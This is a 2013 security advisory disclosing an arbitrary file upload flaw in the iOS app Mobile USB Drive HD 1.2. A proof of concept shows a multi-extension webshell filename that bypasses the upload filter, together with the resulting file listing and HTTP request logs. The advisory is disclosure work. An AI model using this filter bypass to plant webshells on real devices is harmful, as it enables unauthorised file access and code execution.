Title:

Mobile USB Drive HD 1.2 - Arbitrary File Upload Vulnerability

Date:

2013-06-27

References:

http://www.vulnerability-lab.com/get_content.php?id=989

VL-ID:

989

Common Vulnerability Scoring System:

6.8

Introduction:

Mobile Drive is a Powerful tool that allows you to quickly store and view files. you can transfer files between PC/MAC
and your device via WiFi, iTunes USB, FTP and iCloud. No more worries about losing important files again!

File Manager

• Global File Search
• Folder and sub-folder support
• Move, rename, copy, delete, zip files and folders
• Extract ZiP files
• Sorting by name, date, size

File viewer

• PDF Viewer (support bookmark, thumbnail, AirPrint)
• Full-Featured Photo Viewer
• Document viewer supports Word, Excel, PPT, PDF, iWork, html, txt, rtf, webarchive file formats
• Video player support mp4, mov, 3gp, m4v formats
• Open files in other apps

File Transfer and Backup

• Wirelessly transfer files via Wifi
• FTP File Transfer support (easily download, upload, rename, and delete files and folders)
• iTunes USB File Sharing support (the fastest and the easiest way)
• Access and edit files with different devices via iCloud
• Transfer files via Email
• File Backup:Wifi, iTunes USB, FTP, Open-In, iCloud

Password Protection Feature, three choices
• 4-digit password
• character password
• gestures password

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/mobile-usb-drive-for-iphone/id622590148 )

Abstract:

The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the Mobile USB Drive HD v1.2 apple iOS application.

Report-Timeline:

2013-06-27: Public Disclosure (Vulnerability Laboratory)

Status:

Published

Affected Products:

Apple AppStore
Product: Mobile USB Drive HD 1.2

Exploitation-Technique:

Remote

Severity:

High

Details:

A local file include and arbitrary file upload web vulnerability via POST method request is detected in the Mobile USB Drive HD v1.2 apple iOS application.
The vulnerability allows remote attackers via POST method to upload files with multiple extensions to unauthorized access them on application-side of the service.

The vulnerability is located in the upload file module of the web-server (http://localhost:8080/) when processing to request a manipulated
filename via POST. The execution of the injected path or file request will occur when the attacker/target is processing to reload to index listing
of the affected module. Remote attackers can exchange the filename with a tripple extension to bypass the filter and can execute the files located
on the little web-server of the application.

Exploitation of the vulnerability requires no user interaction and also without application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.

Vulnerable Application(s):
[+] Mobile USB Drive HD v1.2 - ITunes or AppStore (Apple)

Vulnerable Module(s):
[+] File Upload (Web Server) [Remote]

Vulnerable Parameter(s):
[+] filename
[+] file extensions (multiple)

Affected Module(s):
[+] MUD HD Index Listing

Proof of Concept:

The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privilege application user account.
For demonstration or reproduce …

PoC: http://localhost:8080/files/webshell-js.php.png.txt.iso.php.gif

Review: File Management.htm - Index

<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist">
<tr><td><a href="http://localhost:8080/files/webshell-js.php.png.txt.iso.php.gif&quot; class="file">webshell-js.php.png.txt.iso.php.gif</a></td>

— Session Log —
21:01:24.132[0ms][total 0ms]
Status: pending[]

GET http://192.168.2.104:8080/files/1234.png.txt.iso.php.gif Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[unknown] Mime Type[unknown]
Request Headers:
Host[192.168.2.104:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]

Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:8080/]

21:01:32.643[0ms][total 0ms]

Status: pending[]
GET http://192.168.2.104:8080/files/1234.png.txt.iso.php.gif Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Content Size[unknown] Mime Type[unknown]

Request Headers:
Host[192.168.2.104:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]

Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:8080/]

21:01:43.184[125ms][total 177ms]
Status: 200[OK]

GET http://192.168.2.104:8080/files/1234.png.txt.iso.php.gif
Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[98139] Mime Type[application/x-unknown-content-type]

Request Headers:
Host[192.168.2.104:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]

DNT[1]
Referer[http://192.168.2.104:8080/]
Connection[keep-alive]
Cache-Control[max-age=0]

Response Headers:
Accept-Ranges[bytes]
Content-Length[98139]
Date[Do., 27 Jun 2013 19:06:58 GMT]

21:01:43.389[2393ms][total 2393ms]
Status: 200[OK]
GET http://192.168.2.104:8080/files/1234.png.txt.iso.php.gif
Load Flags[LOAD_NORMAL] Content Size[98139] Mime Type[application/x-unknown-content-type]

Request Headers:
Host[192.168.2.104:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]

Accept-Encoding[gzip, deflate]
DNT[1]
Connection[keep-alive]
Response Headers:
Accept-Ranges[bytes]

Content-Length[98139]
Date[Do., 27 Jun 2013 19:07:00 GMT]

Risk:

1.1
The security risk of the arbitrary file upload vulnerability and the multiple extensions issue are estimated as high.

Credits:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])

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